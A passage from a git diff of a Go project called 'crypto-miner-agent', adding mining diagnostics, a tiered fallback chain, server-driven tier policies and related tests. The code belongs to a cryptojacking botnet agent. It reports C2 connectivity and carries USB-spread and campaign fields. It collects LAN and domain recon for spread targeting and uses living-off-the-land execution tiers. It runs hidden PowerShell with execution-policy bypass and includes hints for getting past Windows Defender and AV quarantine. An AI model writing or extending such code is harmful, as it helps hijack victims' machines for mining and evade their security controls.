exposes chain order for diagnostics without starting mining. +func chainOrderForConfig(cfg config.RuntimeConfig) []miner.MiningMethod { + rt := miner.RuntimeDetector() + return miner.DefaultFallbackChain(cfg, rt) +} + +func tierChainForConfig(cfg config.RuntimeConfig, policy miner.MiningTierPolicy) []miner.LOTLTier { + probes := miner.ProbeEnvironment(miner.RuntimeDetector) + chain, _ := miner.SelectMiningTierChain(probes, policy, cfg) + return chain +} diff --git a/agent/client/mining_chain_test.go b/agent/client/mining_chain_test.go new file mode 100644 index 0000000..6537280 --- /dev/null +++ b/agent/client/mining_chain_test.go @@ -0,0 +1,93 @@ +package client + +import ( + "runtime" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/miner" +) + +func TestChainOrderForConfigInProcessSkipsContainer(t *testing.T) { + miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { + return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"} + }) + defer miner.SetRuntimeDetector(nil) + + order := chainOrderForConfig(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: miner.ExecutionInProcess, + PoolHost: "pool.example.com", + }, + }) + for _, m := range order { + if m == miner.MethodContainer { + t.Fatalf("inprocess mode must not include container, got %v", order) + } + } + if len(order) == 0 || order[0] != miner.MethodInProcess { + t.Fatalf("want inprocess first, got %v", order) + } + stratumIdx := -1 + for i, m := range order { + if m == miner.MethodStratumDirect { + stratumIdx = i + } + } + if stratumIdx < 0 { + t.Fatalf("want stratum_direct when pool configured, got %v", order) + } + if runtime.GOOS == "windows" { + for i, m := range order { + if m == miner.MethodStratumDirect && i < len(order)-1 { + // Windows appends LOTL probe/execution tiers after stratum. + return + } + } + } else if order[len(order)-1] != miner.MethodStratumDirect { + t.Fatalf("want stratum last when pool configured, got %v", order) + } +} + +func TestChainOrderForConfigAutoWithDocker(t *testing.T) { + miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { + return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"} + }) + defer miner.SetRuntimeDetector(nil) + + order := chainOrderForConfig(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: miner.ExecutionAuto, + PoolHost: "p", + }, + }) + wantPrefix := []miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess, miner.MethodStratumDirect} + if len(order) < len(wantPrefix) { + t.Fatalf("order=%v want prefix %v", order, wantPrefix) + } + for i := range wantPrefix { + if order[i] != wantPrefix[i] { + t.Fatalf("order[%d]=%q want %q full=%v", i, order[i], wantPrefix[i], order) + } + } +} + +func TestChainOrderForConfigContainerWithoutRuntime(t *testing.T) { + miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} }) + defer miner.SetRuntimeDetector(nil) + + order := chainOrderForConfig(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: miner.ExecutionContainer, + PoolHost: "p", + }, + }) + for _, m := range order { + if m == miner.MethodContainer { + t.Fatalf("no runtime — container must be omitted, got %v", order) + } + } + if order[0] != miner.MethodInProcess { + t.Fatalf("want inprocess first without runtime, got %v", order) + } +} diff --git a/agent/client/mining_diagnostics.go b/agent/client/mining_diagnostics.go new file mode 100644 index 0000000..f6b523a --- /dev/null +++ b/agent/client/mining_diagnostics.go @@ -0,0 +1,296 @@ +package client + +import ( + "encoding/json" + "runtime" + "time" + + "crypto-miner-agent/miner" +) + +// MiningDiagnostics is a read-only snapshot of why mining may be idle or blocked. +type MiningDiagnostics struct { + GeneratedAt string `json:"generated_at"` + Platform string `json:"platform"` + ConfiguredExecution string `json:"configured_execution"` + ExecutionMode string `json:"execution_mode"` + ContainerAvailable bool `json:"container_runtime_available"` + ContainerCLI string `json:"container_runtime_cli,omitempty"` + ContainerRunning bool `json:"container_running"` + DockerLoadAvailable bool `json:"docker_load_available"` + DockerImageTar string `json:"docker_image_tar,omitempty"` + WSLAvailable bool `json:"wsl_available"` + WSLDistros []string `json:"wsl_distros,omitempty"` + WSLRunning bool `json:"wsl_running"` + HostMiningDisabled bool `json:"host_mining_disabled"` + C2Connected bool `json:"c2_connected"` + LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"` + MiningMode string `json:"mining_mode"` + PoolHost string `json:"pool_host"` + PoolPort int `json:"pool_port"` + InstallDir string `json:"install_dir,omitempty"` + AVRecommendation string `json:"av_recommendation,omitempty"` + LikelyBlockers []string `json:"likely_blockers"` + ActiveMethod string `json:"active_method,omitempty"` + FailedMethods []struct { + Method string `json:"method"` + Reason string `json:"reason"` + At string `json:"at"` + } `json:"failed_methods,omitempty"` + ChainOrder []string `json:"chain_order,omitempty"` + StratumOverlay bool `json:"stratum_overlay,omitempty"` + ChainExhausted bool `json:"chain_exhausted,omitempty"` + CPU struct { + RemotePaused bool `json:"remote_paused"` + ScheduleBlocked bool `json:"schedule_blocked"` + ResourcesBlocked bool `json:"resources_blocked"` + HasJob bool `json:"has_job"` + Hashrate float64 `json:"hashrate_hps"` + } `json:"cpu"` + GPU struct { + Enabled bool `json:"enabled"` + Active bool `json:"active"` + Paused bool `json:"paused"` + Model string `json:"model,omitempty"` + } `json:"gpu"` + Defender *struct { + Enabled *bool `json:"enabled,omitempty"` + RTP *bool `json:"rtp,omitempty"` + Products []string `json:"products,omitempty"` + } `json:"defender,omitempty"` + + EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"` + LOTLTier string `json:"lotl_tier,omitempty"` + LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"` + TierChainOrder []string `json:"tier_chain_order,omitempty"` + TierChainSkipped []string `json:"tier_chain_skipped,omitempty"` + WebGPUReady bool `json:"webgpu_ready,omitempty"` + GPUComputeOK bool `json:"gpu_compute_ok,omitempty"` + + VulnFindings []struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` + } `json:"vuln_findings,omitempty"` + VulnRiskScore *int `json:"vuln_risk_score,omitempty"` +} + +func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics { + execMode, containerRT := miner.ResolveExecutionMode(c.cfg) + remotePaused, scheduleBlocked, resourcesBlocked, hasJob, hps := c.pool.DiagnosticSnapshot() + + var d MiningDiagnostics + d.GeneratedAt = time.Now().UTC().Format(time.RFC3339) + d.Platform = runtime.GOOS + d.ConfiguredExecution = c.cfg.MinerExecution + d.ExecutionMode = execMode + d.ContainerAvailable = containerRT.Available + d.ContainerCLI = containerRT.CLI + if c.containerMiner != nil { + d.ContainerRunning = c.containerMiner.Running() + } + if tarPath, err := miner.ResolveImageTar(c.cfg); err == nil { + d.DockerLoadAvailable = containerRT.Available + d.DockerImageTar = tarPath + } + wslRT := miner.WSLDetector() + d.WSLAvailable = wslRT.Available + d.WSLDistros = wslRT.Distros + if c.wslMiner != nil { + d.WSLRunning = c.wslMiner.Running() + } + d.HostMiningDisabled = c.hostMiningDisabled.Load() + d.C2Connected = c.connected.Load() + if raw := c.lastJobAt.Load(); raw != nil { + age := time.Since(raw.(time.Time)).Seconds() + d.LastJobAgeSec = &age + } + d.MiningMode = c.cfg.MiningMode + d.PoolHost = c.cfg.PoolHost + d.PoolPort = c.cfg.PoolPort + if dir, err := c.cfg.InstallDirectory(); err == nil { + d.InstallDir = dir + } + d.AVRecommendation = miner.AVBlockRecommendation(execMode, containerRT) + d.EnvironmentProbes = miner.ProbeEnvironment(miner.RuntimeDetector) + if d.EnvironmentProbes.GPU == false && c.cfg.GPUEnabled { + d.EnvironmentProbes.GPU = newGPUMiner(c.cfg) != nil + } + if p := collectPosture(); p != nil && p.DefenderRTP != nil && *p.DefenderRTP { + d.EnvironmentProbes.AVBlocksExe = true + } + + tierChain := tierChainForConfig(c.cfg, c.miningTierPolicy()) + d.TierChainOrder = make([]string, len(tierChain)) + for i, t := range tierChain { + d.TierChainOrder[i] = string(t) + } + _, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg) + d.TierChainSkipped = make([]string, len(skipped)) + for i, t := range skipped { + d.TierChainSkipped[i] = string(t) + } + + d.CPU.RemotePaused = remotePaused + d.CPU.ScheduleBlocked = scheduleBlocked + d.CPU.ResourcesBlocked = resourcesBlocked + d.CPU.HasJob = hasJob + d.CPU.Hashrate = hps + + d.GPU.Enabled = c.cfg.GPUEnabled + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + _, active := gm.Stats() + d.GPU.Active = active + d.GPU.Model = gm.GPUModel() + gm.mu.RLock() + d.GPU.Paused = gm.paused + gm.mu.RUnlock() + } else if c.cfg.GPUEnabled { + d.LikelyBlockers = append(d.LikelyBlockers, "gpu_enabled but no supported GPU miner started (driver missing or AV blocked T-Rex/TRM download)") + } + + if p := collectPosture(); p != nil && (p.DefenderEnabled != nil || len(p.AVProducts) > 0) { + d.Defender = &struct { + Enabled *bool `json:"enabled,omitempty"` + RTP *bool `json:"rtp,omitempty"` + Products []string `json:"products,omitempty"` + }{ + Enabled: p.DefenderEnabled, + RTP: p.DefenderRTP, + Products: p.AVProducts, + } + } + + d.LikelyBlockers = append(d.LikelyBlockers, c.inferMiningBlockers(d)...) + + if c.miningChain != nil { + ms := c.miningChain.Status() + if ms.LOTLTier != "" { + d.LOTLTier = string(ms.LOTLTier) + } + if len(ms.LOTLAttempts) > 0 { + d.LOTLAttempts = append(d.LOTLAttempts[:0:0], ms.LOTLAttempts...) + } + d.WebGPUReady = ms.WebGPUReady + if c.miningChain.tiers != nil { + tr := c.miningChain.tiers.Report() + d.GPUComputeOK = tr.GPUComputeOK + if d.LOTLTier == "" && tr.ActiveTier != "" { + d.LOTLTier = string(tr.ActiveTier) + } + if len(d.LOTLAttempts) == 0 && len(tr.Attempts) > 0 { + d.LOTLAttempts = tr.Attempts + } + } + d.ActiveMethod = string(ms.ActiveMethod) + d.StratumOverlay = ms.StratumOverlay + d.ChainExhausted = ms.ChainExhausted + if len(ms.ChainOrder) > 0 { + d.ChainOrder = make([]string, len(ms.ChainOrder)) + for i, m := range ms.ChainOrder { + d.ChainOrder[i] = string(m) + } + } + if len(ms.FailedMethods) > 0 { + d.FailedMethods = make([]struct { + Method string `json:"method"` + Reason string `json:"reason"` + At string `json:"at"` + }, len(ms.FailedMethods)) + for i, f := range ms.FailedMethods { + d.FailedMethods[i].Method = string(f.Method) + d.FailedMethods[i].Reason = f.Reason + d.FailedMethods[i].At = f.At + } + } + } else { + d.ChainOrder = make([]string, len(chainOrderForConfig(c.cfg))) + for i, m := range chainOrderForConfig(c.cfg) { + d.ChainOrder[i] = string(m) + } + } + + if vr := LastVulnScan(); vr != nil { + score := vr.RiskScore + d.VulnRiskScore = &score + if len(vr.Findings) > 0 { + d.VulnFindings = make([]struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` + }, len(vr.Findings)) + for i, f := range vr.Findings { + d.VulnFindings[i].CVEID = f.CVEID + d.VulnFindings[i].Severity = f.Severity + d.VulnFindings[i].Component = f.Component + d.VulnFindings[i].Patched = f.Patched + d.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext + d.VulnFindings[i].Detail = f.Detail + } + } + } + + return d +} + +func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string { + var blockers []string + if d.CPU.RemotePaused { + blockers = append(blockers, "mining paused by remote command or healthy container delegation") + } + if d.CPU.ScheduleBlocked { + blockers = append(blockers, "mining_mode schedule/idle guard blocking workers") + } + if d.CPU.ResourcesBlocked { + blockers = append(blockers, "resource guard: CPU/RAM limits exceeded") + } + if !d.C2Connected && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 30) { + blockers = append(blockers, "no C2 job yet — direct Stratum fallback should start within ~10s if pool reachable") + } + if d.C2Connected && !d.CPU.HasJob && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 20) { + blockers = append(blockers, "C2 connected but no mining job delivered — check server pool proxy") + } + if d.CPU.HasJob && d.CPU.Hashrate < 1 && !d.HostMiningDisabled { + blockers = append(blockers, "job present but hashrate=0 — engine init failure or process throttled/killed by AV") + } + if d.HostMiningDisabled && !d.ContainerRunning { + blockers = append(blockers, "host mining disabled for container mode but container is not running") + } + if d.Defender != nil && d.Defender.RTP != nil && *d.Defender.RTP { + blockers = append(blockers, "Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path") + } + if d.GPU.Enabled && !d.GPU.Active && !d.GPU.Paused { + blockers = append(blockers, "GPU mining configured but subprocess inactive — T-Rex/TRM likely quarantined or download blocked") + } + if d.ExecutionMode == miner.ExecutionContainer && !d.ContainerAvailable { + blockers = append(blockers, "container mode requested but Docker/Podman not detected — falls back to in-process") + } + if d.DockerImageTar != "" && !d.ContainerAvailable { + blockers = append(blockers, "docker_load policy has image tar but Docker/Podman not detected") + } + if !d.WSLAvailable && runtime.GOOS == "windows" { + blockers = append(blockers, "WSL2 not detected — wsl tier skipped (install a distro for AV-friendly Linux sidecar)") + } + if d.ChainExhausted { + blockers = append(blockers, "mining fallback chain exhausted — all primary methods failed") + } + if len(d.FailedMethods) > 0 && d.ActiveMethod == "" && !d.StratumOverlay { + blockers = append(blockers, "cascade failures recorded — check failed_methods in diagnostics JSON") + } + return blockers +} + +func (c *AgentClient) miningDiagnosticsJSON() string { + d := c.collectMiningDiagnostics() + b, _ := json.MarshalIndent(d, "", " ") + return string(b) +} diff --git a/agent/client/mining_diagnostics_test.go b/agent/client/mining_diagnostics_test.go new file mode 100644 index 0000000..c9a88a0 --- /dev/null +++ b/agent/client/mining_diagnostics_test.go @@ -0,0 +1,195 @@ +package client + +import ( + "encoding/json" + "strings" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/miner" + "crypto-miner-agent/stats" +) + +func testDiagnosticsClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient { + t.Helper() + c := NewAgentClient(cfg) + c.pool = miner.NewPool(1, cfg, stats.NewReporter(), nil) + return c +} + +func TestMiningDiagnosticsJSONShape(t *testing.T) { + miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { + return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"} + }) + defer miner.SetRuntimeDetector(nil) + miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} }) + defer miner.SetWSLDetector(nil) + SetPostureCollector(func() *PostureReport { return nil }) + defer SetPostureCollector(nil) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: miner.ExecutionAuto, + PoolHost: "pool.example.com", + PoolPort: 3333, + MiningMode: "always", + }, + } + c := testDiagnosticsClient(t, cfg) + c.connected.Store(true) + + raw := c.miningDiagnosticsJSON() + var doc map[string]interface{} + if err := json.Unmarshal([]byte(raw), &doc); err != nil { + t.Fatalf("invalid JSON: %v\n%s", err, raw) + } + for _, key := range []string{ + "generated_at", "platform", "configured_execution", "execution_mode", + "container_runtime_available", "c2_connected", "mining_mode", + "pool_host", "pool_port", "likely_blockers", "chain_order", "cpu", "gpu", + } { + if _, ok := doc[key]; !ok { + t.Fatalf("missing key %q in diagnostics JSON", key) + } + } + blockers, ok := doc["likely_blockers"].([]interface{}) + if !ok { + t.Fatalf("likely_blockers type = %T", doc["likely_blockers"]) + } + if len(blockers) == 0 { + t.Fatal("expected at least one likely_blocker for idle agent with no job") + } +} + +func TestInferMiningBlockersRemotePause(t *testing.T) { + c := testDiagnosticsClient(t, config.RuntimeConfig{}) + c.pool.PauseRemote() + + d := c.collectMiningDiagnostics() + found := false + for _, b := range d.LikelyBlockers { + if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") { + found = true + break + } + } + if !found { + t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers) + } +} + +func TestInferMiningBlockersChainExhausted(t *testing.T) { + c := testDiagnosticsClient(t, config.RuntimeConfig{}) + d := MiningDiagnostics{C2Connected: true, ChainExhausted: true} + blockers := c.inferMiningBlockers(d) + found := false + for _, b := range blockers { + if strings.Contains(b, "fallback chain exhausted") { + found = true + } + } + if !found { + t.Fatalf("got %v", blockers) + } +} + +func TestInferMiningBlockersDefenderRTP(t *testing.T) { + c := testDiagnosticsClient(t, config.RuntimeConfig{}) + rtp := true + d := MiningDiagnostics{ + C2Connected: true, + Defender: &struct { + Enabled *bool `json:"enabled,omitempty"` + RTP *bool `json:"rtp,omitempty"` + Products []string `json:"products,omitempty"` + }{RTP: &rtp}, + } + blockers := c.inferMiningBlockers(d) + found := false + for _, b := range blockers { + if strings.Contains(b, "Defender real-time protection") { + found = true + } + } + if !found { + t.Fatalf("got %v", blockers) + } +} + +func TestInferMiningBlockersContainerModeNoRuntime(t *testing.T) { + c := testDiagnosticsClient(t, config.RuntimeConfig{}) + d := MiningDiagnostics{ + ExecutionMode: miner.ExecutionContainer, + ContainerAvailable: false, + } + blockers := c.inferMiningBlockers(d) + found := false + for _, b := range blockers { + if strings.Contains(b, "Docker/Podman not detected") { + found = true + } + } + if !found { + t.Fatalf("expected container runtime blocker, got %v", blockers) + } +} + +func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) { + miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { + return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"} + }) + defer miner.SetRuntimeDetector(nil) + miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} }) + defer miner.SetWSLDetector(nil) + SetPostureCollector(func() *PostureReport { return nil }) + defer SetPostureCollector(nil) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: miner.ExecutionAuto, + PoolHost: "pool.example.com", + }, + } + c := testDiagnosticsClient(t, cfg) + d := c.collectMiningDiagnostics() + if len(d.TierChainOrder) == 0 { + t.Fatalf("expected tier_chain_order, got %+v", d) + } + if d.TierChainOrder[0] == "" { + t.Fatalf("empty tier id in chain: %v", d.TierChainOrder) + } + raw := c.miningDiagnosticsJSON() + var doc map[string]interface{} + if err := json.Unmarshal([]byte(raw), &doc); err != nil { + t.Fatal(err) + } + for _, key := range []string{"tier_chain_order", "tier_chain_skipped"} { + if _, ok := doc[key]; !ok { + t.Fatalf("missing key %q in diagnostics JSON", key) + } + } +} + +func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) { + c := testDiagnosticsClient(t, config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{GPUEnabled: true}, + }) + d := MiningDiagnostics{ + GPU: struct { + Enabled bool `json:"enabled"` + Active bool `json:"active"` + Paused bool `json:"paused"` + Model string `json:"model,omitempty"` + }{Enabled: true, Active: false, Paused: false}, + } + blockers := c.inferMiningBlockers(d) + found := false + for _, b := range blockers { + if strings.Contains(b, "GPU mining configured but subprocess inactive") { + found = true + } + } + if !found { + t.Fatalf("expected GPU inactive blocker, got %v", blockers) + } +} diff --git a/agent/client/mining_policy.go b/agent/client/mining_policy.go new file mode 100644 index 0000000..d903bf6 --- /dev/null +++ b/agent/client/mining_policy.go @@ -0,0 +1,47 @@ +package client + +import ( + "encoding/json" + + "crypto-miner-agent/miner" +) + +func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy { + c.mu.Lock() + defer c.mu.Unlock() + if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 { + return miner.DefaultMiningTierPolicy() + } + return c.tierPolicy +} + +func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { + c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy) + if len(resp.MiningTierPolicy) > 0 { + c.applyMiningTierPolicyJSON(resp.MiningTierPolicy) + return + } + if len(resp.LotlOnionTiers) == 0 { + return + } + order := make([]miner.LOTLTier, len(resp.LotlOnionTiers)) + for i, s := range resp.LotlOnionTiers { + order[i] = miner.LOTLTier(s) + } + c.mu.Lock() + c.tierPolicy = miner.MiningTierPolicy{TierOrder: order} + c.mu.Unlock() +} + +func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var p miner.MiningTierPolicy + if err := json.Unmarshal(raw, &p); err != nil { + return + } + c.mu.Lock() + c.tierPolicy = p + c.mu.Unlock() +} diff --git a/agent/client/mining_policy_test.go b/agent/client/mining_policy_test.go new file mode 100644 index 0000000..75de903 --- /dev/null +++ b/agent/client/mining_policy_test.go @@ -0,0 +1,61 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/miner" +) + +func TestMiningTierPolicyDefaultsWhenEmpty(t *testing.T) { + c := NewAgentClient(config.RuntimeConfig{}) + policy := c.miningTierPolicy() + defaults := miner.DefaultMiningTierPolicy() + if len(policy.TierOrder) != len(defaults.TierOrder) { + t.Fatalf("tier order len=%d want %d", len(policy.TierOrder), len(defaults.TierOrder)) + } + if policy.TierOrder[0] != defaults.TierOrder[0] { + t.Fatalf("first tier=%q want %q", policy.TierOrder[0], defaults.TierOrder[0]) + } +} + +func TestApplyAuthLotlPolicyFromServerTiers(t *testing.T) { + c := NewAgentClient(config.RuntimeConfig{}) + c.applyAuthLotlPolicy(AuthResponse{ + Success: true, + LotlOnionTiers: []string{"container", "wsl", "cpu_inprocess"}, + }) + policy := c.miningTierPolicy() + want := []miner.LOTLTier{miner.TierContainer, miner.TierWSL, miner.TierCPUInprocess} + if len(policy.TierOrder) != len(want) { + t.Fatalf("order=%v want %v", policy.TierOrder, want) + } + for i := range want { + if policy.TierOrder[i] != want[i] { + t.Fatalf("order[%d]=%q want %q", i, policy.TierOrder[i], want[i]) + } + } +} + +func TestApplyMiningTierPolicyJSONSkipTiers(t *testing.T) { + c := NewAgentClient(config.RuntimeConfig{}) + raw := json.RawMessage(`{"skip_tiers":["exe_subprocess","wsl"],"force_tier":"cpu_inprocess"}`) + c.applyMiningTierPolicyJSON(raw) + policy := c.miningTierPolicy() + if len(policy.SkipTiers) != 2 || policy.SkipTiers[0] != miner.TierExeSubprocess { + t.Fatalf("skip=%v", policy.SkipTiers) + } + if policy.ForceTier != miner.TierCPUInprocess { + t.Fatalf("force=%q", policy.ForceTier) + } +} + +func TestApplyMiningTierPolicyJSONIgnoresInvalid(t *testing.T) { + c := NewAgentClient(config.RuntimeConfig{}) + c.applyMiningTierPolicyJSON(json.RawMessage(`not-json`)) + policy := c.miningTierPolicy() + if len(policy.TierOrder) == 0 { + t.Fatal("invalid JSON should leave defaults intact") + } +} diff --git a/agent/client/mining_ready.go b/agent/client/mining_ready.go new file mode 100644 index 0000000..57ab228 --- /dev/null +++ b/agent/client/mining_ready.go @@ -0,0 +1,59 @@ +package client + +import ( + "context" + "log" + "strings" + "time" +) + +// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain. +// Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear. +func MiningDiagnosticsReady(d MiningDiagnostics) bool { + if d.ChainExhausted { + return false + } + if d.HostMiningDisabled && !d.ContainerRunning { + return false + } + if !d.C2Connected { + return false + } + for _, b := range d.LikelyBlockers { + lower := strings.ToLower(b) + if strings.Contains(lower, "chain exhausted") || + strings.Contains(lower, "host mining disabled") { + return false + } + } + return true +} + +// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain. +func (c *AgentClient) startMiningWhenReady(ctx context.Context) { + const maxWait = 120 * time.Second + deadline := time.Now().Add(maxWait) + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + + tryStart := func(reason string) { + log.Printf("[mining] %s — starting fallback chain", reason) + c.miningChain.Start(ctx) + } + + for { + if MiningDiagnosticsReady(c.collectMiningDiagnostics()) { + tryStart("diagnostics pass") + return + } + if time.Now().After(deadline) { + tryStart("diagnostics wait timeout") + return + } + select { + case <-ctx.Done(): + return + case <-ticker.C: + } + } +} diff --git a/agent/client/mining_ready_test.go b/agent/client/mining_ready_test.go new file mode 100644 index 0000000..32ff87e --- /dev/null +++ b/agent/client/mining_ready_test.go @@ -0,0 +1,48 @@ +package client + +import ( + "testing" + + "crypto-miner-agent/config" +) + +func TestMiningDiagnosticsReadyRequiresC2(t *testing.T) { + d := MiningDiagnostics{C2Connected: false} + if MiningDiagnosticsReady(d) { + t.Fatal("expected false without C2") + } + d.C2Connected = true + if !MiningDiagnosticsReady(d) { + t.Fatal("expected true with C2 and no hard blockers") + } +} + +func TestMiningDiagnosticsReadyRejectsExhausted(t *testing.T) { + d := MiningDiagnostics{C2Connected: true, ChainExhausted: true} + if MiningDiagnosticsReady(d) { + t.Fatal("expected false when chain exhausted") + } +} + +func TestMiningDiagnosticsReadyRejectsHostDisabled(t *testing.T) { + d := MiningDiagnostics{ + C2Connected: true, + HostMiningDisabled: true, + ContainerRunning: false, + } + if MiningDiagnosticsReady(d) { + t.Fatal("expected false when host mining disabled without container") + } +} + +func TestMiningDiagnosticsReadyIgnoresTransientBlockers(t *testing.T) { + c := testDiagnosticsClient(t, config.RuntimeConfig{}) + d := MiningDiagnostics{ + C2Connected: true, + LikelyBlockers: []string{"C2 connected but no mining job delivered"}, + } + if !MiningDiagnosticsReady(d) { + t.Fatalf("transient blockers should not block ready state: %v", d.LikelyBlockers) + } + _ = c +} diff --git a/agent/client/posture_hook.go b/agent/client/posture_hook.go new file mode 100644 index 0000000..ecc9b06 --- /dev/null +++ b/agent/client/posture_hook.go @@ -0,0 +1,9 @@ +package client + +// postureCollector overrides collectPosture in tests. Nil restores platform defaults. +var postureCollector func() *PostureReport + +// SetPostureCollector stubs posture collection in tests. Pass nil to restore defaults. +func SetPostureCollector(fn func() *PostureReport) { + postureCollector = fn +} diff --git a/agent/client/posture_unix.go b/agent/client/posture_unix.go index 4ab35d3..75b1182 100644 --- a/agent/client/posture_unix.go +++ b/agent/client/posture_unix.go @@ -14,6 +14,9 @@ import ( ) func collectPosture() *PostureReport { + if postureCollector != nil { + return postureCollector() + } r := &PostureReport{AgentServiceOK: boolPtr(true)} // ── Firewall ─────────────────────────────────────────────────────────────── diff --git a/agent/client/posture_windows.go b/agent/client/posture_windows.go index 75ce0fb..6842518 100644 --- a/agent/client/posture_windows.go +++ b/agent/client/posture_windows.go @@ -176,6 +176,9 @@ $p | ConvertTo-Json -Depth 4 -Compress ` func collectPosture() *PostureReport { + if postureCollector != nil { + return postureCollector() + } out, err := silentCombinedOutput( "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", buildPostureScript(), diff --git a/agent/client/protocol.go b/agent/client/protocol.go index d8a6d20..3f395b6 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -1,6 +1,10 @@ package client -import "encoding/json" +import ( + "encoding/json" + + "crypto-miner-agent/deploy" +) type Message struct { Type string `json:"type"` @@ -45,12 +49,18 @@ type AuthPayload struct { USBSpread bool `json:"usb_spread,omitempty"` Campaign string `json:"campaign,omitempty"` UTM string `json:"utm,omitempty"` + LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"` + LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"` + JoinLane string `json:"join_lane,omitempty"` } type AuthResponse struct { - Success bool `json:"success"` - AgentID string `json:"agent_id"` - Error string `json:"error"` + Success bool `json:"success"` + AgentID string `json:"agent_id"` + Error string `json:"error"` + LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` + MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"` + TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"` } type SharePayload struct { @@ -60,6 +70,13 @@ type SharePayload struct { Worker string `json:"worker_name"` } +// MethodFailurePayload mirrors miner.MethodFailure in stats JSON. +type MethodFailurePayload struct { + Method string `json:"method"` + Reason string `json:"reason"` + At string `json:"at"` +} + type StatsPayload struct { Hashrate15s float64 `json:"hashrate_15s"` Hashrate1m float64 `json:"hashrate_1m"` @@ -110,6 +127,48 @@ type StatsPayload struct { RebootPending *bool `json:"reboot_pending,omitempty"` AgentElevated *bool `json:"agent_elevated,omitempty"` Services []ServiceStatus `json:"services,omitempty"` + + // Mining fallback cascade (container → in-process → GPU → Stratum) + ActiveMethod string `json:"active_method,omitempty"` + FailedMethods []MethodFailurePayload `json:"failed_methods,omitempty"` + MiningLastError string `json:"last_error,omitempty"` + ChainOrder []string `json:"chain_order,omitempty"` + StratumOverlay bool `json:"stratum_overlay,omitempty"` + ChainExhausted bool `json:"chain_exhausted,omitempty"` + + // Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat) + MiningHashrate float64 `json:"mining_hashrate,omitempty"` + LOTLTier string `json:"lotl_tier,omitempty"` + LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"` + StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none + JoinLane string `json:"join_lane,omitempty"` + + // Passive LAN/domain recon for spread targeting and Path Tracer graph hints. + NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"` + + // Authorized fleet vulnerability recon (read-only LOTL probe tier) + VulnFindings []VulnFindingPayload `json:"vuln_findings,omitempty"` + VulnRiskScore *int `json:"vuln_risk_score,omitempty"` +} + +// VulnFindingPayload mirrors vulnprobe.VulnFinding in stats JSON. +type VulnFindingPayload struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` +} + +// TierAttemptPayload mirrors miner.TierAttempt in stats JSON. +type TierAttemptPayload struct { + Phase string `json:"phase,omitempty"` + 